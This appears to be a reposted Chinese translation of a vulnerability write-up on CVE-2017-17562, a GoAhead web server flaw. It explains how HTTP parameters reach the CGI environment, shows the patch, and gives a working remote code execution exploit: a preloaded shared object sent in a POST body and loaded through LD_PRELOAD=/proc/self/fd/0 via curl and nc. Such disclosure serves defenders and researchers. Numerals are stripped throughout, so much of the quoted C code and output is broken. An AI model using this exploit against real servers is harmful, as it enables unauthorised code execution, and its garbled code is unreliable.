天天看點

CVE-2017-17562:遠端利用LD_PRELOAD攻擊你的GoAhead伺服器

介紹

在這篇文章中,我們将會跟大家讨論漏洞CVE-2017-17562的技術細節,而這個漏洞将允許攻擊者在版本小于v3.6.5的GoAhead Web伺服器中實作可靠的遠端代碼執行。

當使用者使用不受信任的HTTP請求參數來初始化CGI腳本環境時,将會導緻該漏洞的出現,而該漏洞将影響所有開啟了CGI腳本支援(動态連結可執行腳本檔案)的使用者。這種行為在結合glibc動态連結器的情況下,攻擊者将能夠使用類似LD_PRELOAD(一般用于執行函數鈎子,詳見preeny)之類的特殊變量來實作遠端代碼執行。

可能有些使用者并不了解GoAhead,根據其官網的介紹頁面顯示,‘GoAhead是目前世界上最流行的小型嵌入式Web伺服器’,并且類似IBM、惠普、甲骨文、波音、D-Link和摩托羅拉等多家大型企業都在使用GoAhead。根據我們從Shodan搜尋引擎中得到的搜尋資料顯示,目前網際網路中已經有超過735000台裝置正在使用GoAhead。

下圖顯示的是Shodan搜尋結果:

CVE-2017-17562:遠端利用LD_PRELOAD攻擊你的GoAhead伺服器

本文所要介紹的漏洞利用技術是一種非常有趣的實用案例,而且可以用于其他擁有類似不安全架構的不同類型軟體之中。

漏洞分析

根據我們的測試結果,所有版本号大于v2.5.0的GoAhead都存在這個漏洞(我們所能找到的最老版本就是 v2.5.0了)。你可以按照下列方法克隆、編譯并運作包含漏洞的GoAhead守護程序代碼庫:

daniel@makemyday:~$ git clone https://github.com/embedthis/goahead.git
Cloning into 'goahead'...
remote: Counting objects: , done.
remote: Total  (delta ), reused  (delta ), pack-reused 
Receiving objects: % (/),  MiB |  MiB/s, done.
Resolving deltas: % (/), done.
daniel@makemyday:~$ cd goahead/
daniel@makemyday:~/goahead$ ls
configure CONTRIBUTING.md doc installs main.me Makefile paks README.md test
configure.bat dist farm.json LICENSE.md make.bat package.json projects src
daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q
daniel@makemyday:~/goahead$ make > /dev/null
daniel@makemyday:~/goahead$ cd test
daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest
daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead
           

代碼分析

漏洞存在于函數cgiHandler之中,當應用程式給新程序的envp參數配置設定數組指針時将需要調用該函數,并使用HTTP請求參數中的鍵值對資料來對函數進行初始化。最後,需要調用或執行CGI腳本的程式将會調用launchCgi函數。

除了被過濾掉的REMOTE_HOST和HTTP_AUTHORIZATION參數之外,所有其他的參數都會被當作是受信任的參數,并且會在沒有進行資料過濾的情況下傳遞給目标函數。而這将允許攻擊者控制新CGI程序的任意環境變量,這是非常危險的,這種危險性你可以從下面給出的漏洞利用部分中了解到。

下面給出的是goahead/src/cgi.c:cgihandler的代碼:

...
PUBLIC bool cgiHandler(Webs *wp)
{
    Cgi         *cgip;
    WebsKey     *s;
    char        cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];
    char        *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe;
    CgiPid      pHandle;
    int         n, envpsize, argpsize, cid;

...

    /*
        Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
        we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
        to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
        in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
        loop includes logic to grow the array size via wrealloc.
     */
    envpsize = ;
    envp = walloc(envpsize * sizeof(char*));
    for (n = , s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
        if (s->content.valid && s->content.type == string &&
            strcmp(s->name.value.string, "REMOTE_HOST") !=  &&
            strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != ) {
            envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
            trace(, "Env[%d] %s", n, envp[n]);
            if (n >= envpsize) {
                envpsize *= ;
                envp = wrealloc(envp, envpsize * sizeof(char *));
                            }
        }
    }
    *(envp+n) = NULL;

    /*
        Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)
        should already exist.
     */
    if (wp->cgiStdin == NULL) {
        wp->cgiStdin = websGetCgiCommName();
    }
    stdIn = wp->cgiStdin;
    stdOut = websGetCgiCommName();
    if (wp->cgifd >= ) {
        close(wp->cgifd);
        wp->cgifd = ;
    }

    /*
        Now launch the process.  If not successful, do the cleanup of resources.  If successful, the cleanup will be
        done after the process completes.
     */
    if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) ) {
...
           

漏洞修複

這個安全問題可以通過“過濾特殊參數名,并給其他的參數添加靜态字元串字首”的方式來修複這個問題。這種方法貌似可以解決這個問題,而且這種方法甚至對a=b%00LD_PRELOAD%3D這種類型的參數都能起作用。如果你有更好的方法,可以在文章下方的評論區中留言。

下面給出的是git diff f9ea55a 6f786c1 src/cgi.c的相關代碼:

diff --git a/src/cgi.c b/src/cgi.c
index ec97b.d9b45b 
--- a/src/cgi.c
+++ b/src/cgi.c
@@ , +, @@ PUBLIC bool cgiHandler(Webs *wp)
     envpsize = ;
     envp = walloc(envpsize * sizeof(char*));
     for (n = , s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
-        if (s->content.valid && s->content.type == string &&
-            strcmp(s->name.value.string, "REMOTE_HOST") !=  &&
-            strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != ) {
-            envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
+        if (s->content.valid && s->content.type == string) {
+            if (smatch(s->name.value.string, "REMOTE_HOST") ||
+                smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
+                smatch(s->name.value.string, "IFS") ||
+                smatch(s->name.value.string, "CDPATH") ||
+                smatch(s->name.value.string, "PATH") ||
+                sstarts(s->name.value.string, "LD_")) {
+                continue;
+            }
+            envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX,
+                s->name.value.string, s->content.value.string);
             trace(, "Env[%d] %s", n, envp[n]);
             if (n >= envpsize) {
                 envpsize *= ;
           

漏洞利用

這個漏洞将允許攻擊者向新程序中注入任意環境變量,這種行為在某些人乍看之下似乎并不算很嚴重,但你要知道的是,某些“特殊”的環境變量将允許攻擊者修改動态連結器的控制流。

ELF動态連結器

在檢查了goahead代碼中的ELF頭之後,我們可以看到它是一個64位的動态連結可執行程式。其中,INTERP資料域中指定了程式解釋器,并指向/lib64/ld-linux-x86-64.so.2(動态連結器)。

下圖給出的是ELF頭:

[email protected]:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goahead
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0xf80
  Start of program headers:           (bytes into file)
  Start of section headers:           (bytes into file)
  Flags:                             
  Size of this header:                (bytes)
  Size of program headers:            (bytes)
  Number of program headers:         
  Size of section headers:            (bytes)
  Number of section headers:         
  Section header string table index: 

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR             
                    R E    
  INTERP           
                    R      
      [Requesting program interpreter: /lib64/ld-linux-x86so]
...
[email protected]:~/goahead/build/linux-x64-default/bin$
           

動态連結器是第一段在動态連結可執行程式中運作的代碼,它負責連結和加載共享對象并進行符号解析。為了擷取goahead代碼所加載的全部共享對象,我們可以将特殊環境變量LD_TRACE_LOADED_OBJECTS設定為1,它将會列印出所有已加載的代碼庫然後自動退出。

下面給出的是ld.so LD_TRACE_LOADED_OBJECTS:

[email protected]:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS= ./goahead
        linux-vdso.so =>  ()
        libgo.so => /home/daniel/goahead/build/linux-x64-default/bin/libgo.so ()
        libc.so => /lib/x86_64-linux-gnu/libc.so ()
        libpthread.so => /lib/x86_64-linux-gnu/libpthread.so ()
        /lib64/ld-linux-x86so ()
[email protected]:~/goahead/build/linux-x64-default/bin$
           

你還可以通過使用grep指令來搜尋 DT_NEEDED來靜态地擷取這些資訊(遞歸定義了每一個ELF共享對象)。

下面給出的是搜尋出的共享對象依賴資訊:

[email protected]:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libgo.so]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
[email protected]:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED
  (NEEDED)             Shared library: [libpthread.so.]
  (NEEDED)             Shared library: [libc.so.]
[email protected]:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so. | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [ld-linux-x86-64.so.2]
[email protected]:~/goahead/build/linux-x64-default/bin$
           

特殊環境變量

我們之前已經介紹過了,動态連結器是第一段在動态連結可執行程式(新程序)中運作的代碼,如果你越多過man 8 ld.so,你就會發現其中記錄了很多能夠修改程式預設行為的特殊環境變量。

由于我個人比較喜歡從源代碼中尋找蛛絲馬迹,是以我們接下來一起看一看相關的代碼到底都做了些什麼。其中,dl_main函數是動态連結器的主入口點。

下面給出的是glibc/elf/rtld.c:dl_main的代碼:

static void
dl_main (const ElfW(Phdr) *phdr,
         ElfW(Word) phnum,
         ElfW(Addr) *user_entry,
         ElfW(auxv_t) *auxv)
{
  const ElfW(Phdr) *ph;
  enum mode mode;
  struct link_map *main_map;
  size_t file_size;
  char *file;
  bool has_interp = false;
  unsigned int i;

...

  /* Process the environment variable which control the behaviour.  */
  process_envvars (&mode);
           

這個函數所做的第一件事情就是調用process_envvars。

下面給出的是glibc/elf/rtld.c:process_envvars的代碼:

static void
process_envvars (enum mode *modep)
{
  char **runp = _environ;
  char *envline;
  enum mode mode = normal;
  char *debug_output = NULL;

  /* This is the default place for profiling data file.  */
  GLRO(dl_profile_output)
    = &"/var/tmp\0/var/profile"[__libc_enable_secure ?  : ];

  while ((envline = _dl_next_ld_env_entry (&runp)) != NULL)
    {
      size_t len = ;

      while (envline[len] != '\0' && envline[len] != '=')
        ++len;

      if (envline[len] != '=')
        /* This is a "LD_" variable at the end of the string without
           a '=' character.  Ignore it since otherwise we will access
           invalid memory below.  */
        continue;

      switch (len)
        {
        case :
          /* Warning level, verbose or not.  */
          if (memcmp (envline, "WARN", ) == )
            GLRO(dl_verbose) = envline[] != '\0';
          break;

        case :
          /* Debugging of the dynamic linker?  */
          if (memcmp (envline, "DEBUG", ) == )
            {
              process_dl_debug (&envline[]);
              break;
            }
          if (memcmp (envline, "AUDIT", ) == )
            audit_list_string = &envline[];
          break;

        case :
          /* Print information about versions.  */
          if (memcmp (envline, "VERBOSE", ) == )
            {
              version_info = envline[] != '\0';
              break;
            }

          /* List of objects to be preloaded.  */
          if (memcmp (envline, "PRELOAD", ) == )
            {
              preloadlist = &envline[];
              break;
            }
           

我們可以看到,連結器會對envp數組進行解析,如果沒有找到指定的變量名,它便會測試不同的代碼路徑。有趣的是上述代碼中case 7處理LD_PRELOAD的方式,這裡對preloadlist進行了初始化。

下面給出的是glibc/elf/rtld.c:dl_main的代碼:

...
  /* We have two ways to specify objects to preload: via environment
     variable and via the file /etc/ld.so.preload.  The latter can also
     be used when security is enabled.  */
  assert (*first_preload == NULL);
  struct link_map **preloads = NULL;
  unsigned int npreloads = ;

  if (__glibc_unlikely (preloadlist != NULL))
    {
      HP_TIMING_NOW (start);
      npreloads += handle_ld_preload (preloadlist, main_map);
      HP_TIMING_NOW (stop);
      HP_TIMING_DIFF (diff, start, stop);
      HP_TIMING_ACCUM_NT (load_time, diff);
    }
...
           

在dl_main中,如果preloadlist不為NULL,那麼handle_ld_preload函數将會被調用。

下面給出的是glibc/elf/rtld.c:handle_ld_preload的代碼:

/* The list preloaded objects.  */
static const char *preloadlist attribute_relro;
/* Nonzero if information about versions has to be printed.  */
static int version_info attribute_relro;

/* The LD_PRELOAD environment variable gives list of libraries
   separated by white space or colons that are loaded before the
   executable's dependencies and prepended to the global scope list.
   (If the binary is running setuid all elements containing a '/' are
   ignored since it is insecure.)  Return the number of preloads
   performed.  */
unsigned int
handle_ld_preload (const char *preloadlist, struct link_map *main_map)
{
  unsigned int npreloads = ;
  const char *p = preloadlist;
  char fname[SECURE_PATH_LIMIT];

  while (*p != '\0')
    {
      /* Split preload list at space/colon.  */
      size_t len = strcspn (p, " :");
      if (len >  && len < sizeof (fname))
        {
          memcpy (fname, p, len);
          fname[len] = '\0';
        }
      else
        fname[] = '\0';

      /* Skip over the substring and the following delimiter.  */
      p += len;
      if (*p != '\0')
        ++p;

      if (dso_name_valid_for_suid (fname))
        npreloads += do_preload (fname, main_map, "LD_PRELOAD");
    }
  return npreloads;
}
...
           

handle_ld_preload函數将會解析preloadlist,并将它的值當作共享對象清單來加載。

綜上所述,由于goahead允許我們注入任意的環境變量,那麼我們就可以利用glibc處理特殊情況時所使用的方法(缺陷)來實作攻擊了。

ELF .SO

我們現在可以強制加載任意共享對象了,但是我們怎樣才能讓我們的代碼運作呢?

下面給出的是PoC代碼(PoC/payload.c):

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(, "Hello: World!\n", );
}
           

将payload.c編譯為共享對象:

[email protected]:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.so
[email protected]:~/goahead/PoC$ LD_PRELOAD=./payload.so cat /dev/null
Hello: World!
[email protected]:~/goahead/PoC$
           

PoC測試:

[email protected]:~/goahead/PoC$ ls -la ./payload.so
-rwxrwxr-x  daniel daniel  Dec  : ./payload.so
[email protected]:~/goahead/PoC$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -
HTTP/  OK
Date: Wed Dec  :: 
Transfer-Encoding: chunked
Connection: close
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
content-type:  text/html

[email protected]:~/goahead/PoC$
           

我們可以看到,我們的共享對象代碼已經在cgitest程序中通過LD_PRELOAD執行了。

LINUX /PROC/SELF/FD/0

别着急,這裡還有一個非常嚴重的問題我們還沒解決。即使我們知道可以從磁盤中加載任意共享對象,而且構造器也允許我們執行其中的代碼,但我們怎樣才能夠從一台遠端伺服器中注入惡意共享對象呢?畢竟來說,如果我們無法做到這一點的話,磁盤中任何的共享對象估計都幫不上我們的忙。

幸運的是,launchCgi方法會使用dup2()來處理stdin檔案描述符,而它指向的是一個包含了POST請求body内容的臨時檔案。這也就意味着,磁盤中有一個檔案包含了使用者提供的資料,而且我們可以使用類似LD_PRELOAD=/tmp/cgi-XXXXXX的方法來引用這部分資料。

下面給出的是goahead/src/cgi.c:launchCgi的代碼:

/*
    Launch the CGI process and return a handle to it.
 */
static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
    int     fdin, fdout, pid;

    trace(, "cgi: run %s", cgiPath);

    if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, )) < ) {
        error("Cannot open CGI stdin: ", cgiPath);
        return ;
    }
    if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, )) < ) {
        error("Cannot open CGI stdout: ", cgiPath);
        return ;
    }

    pid = vfork();
    if (pid == ) {
        /*
            Child
         */
        if (dup2(fdin, ) < ) {
            printf("content-type: text/html\n\nDup of stdin failed\n");
            _exit();

        } else if (dup2(fdout, ) < ) {
            printf("content-type: text/html\n\nDup of stdout failed\n");
            _exit();

        } else if (execve(cgiPath, argp, envp) == ) {
            printf("content-type: text/html\n\nExecution of cgi process failed\n");
        }
    ...
}
           

但現在的問題就是,我們必須遠端猜測出包含了我們POST Payload的臨時檔案名稱。幸運的是,Linux procfs檔案系統的符号連結可以幫助我們直接引用stdin描述符,而它指向的就是我們所要找的臨時檔案。

下面給出的是linux/fs/proc/self.c的代碼:

static const char *proc_self_get_link(struct dentry *dentry,
				      struct inode *inode,
				      struct delayed_call *done)
{
	struct pid_namespace *ns = inode->i_sb->s_fs_info;
	pid_t tgid = task_tgid_nr_ns(current, ns);
	char *name;

	if (!tgid)
		return ERR_PTR(-ENOENT);
	/* 11 for max length of signed int in decimal + NULL term */
	name = kmalloc(, dentry ? GFP_KERNEL : GFP_ATOMIC);
	if (unlikely(!name))
		return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD);
	sprintf(name, "%d", tgid);
	set_delayed_call(done, kfree_link, name);
	return name;
}

static const struct inode_operations proc_self_inode_operations = {
	.get_link	= proc_self_get_link,
};
           

如果我們将上述資訊全部綜合到一起,我們就可以通過發送包含了惡意共享對象的POST請求(包含了惡意Payload以及相關的構造器)來遠端利用該漏洞了。在這個過程中,我們需要指定一個包含了?LD_PRELOAD=/proc/self/fd/0的HTTP參數,而它将指向磁盤中包含了攻擊Payload的臨時檔案。

通過指令行實作漏洞利用:

[email protected]:~/goahead/PoC$ curl -X POST --data-binary @payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  9931    0  2035  100  7896   2035   7896  0:00:01  0:00:01 --:--:--  9774
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello:  World!
Content-type: text/html

[email protected]:~/goahead/PoC$
           

如果你想擷取直接可用的漏洞利用代碼,可以通路我們的GitHub庫擷取【傳送門】。

總結

本文所介紹的漏洞将允許攻擊者遠端利用LD_PRELOAD來實作任意代碼執行,而且幾乎目前所有版本的GoAhead Web伺服器都會受到影響。除此之外,這種類型的架構很可能也存在于其他服務之中,這也是值得我們去進一步探究的。

雖然所有版本的Web伺服器中CGI的處理代碼相對來說還算穩定,但是在很多其他的子產品中仍然存在不安全的CGI使用情況,是以這裡還有可能存在很多其他有意思的漏洞,如果你對這些漏洞感興趣的話,我建議你可以從websDefineHandler入手。

參考文獻

  1. https://www.cs.stevens.edu/~jschauma/810/elf.html
  2. http://s.eresi-project.org/inc/articles/elf-rtld.txt

繼續閱讀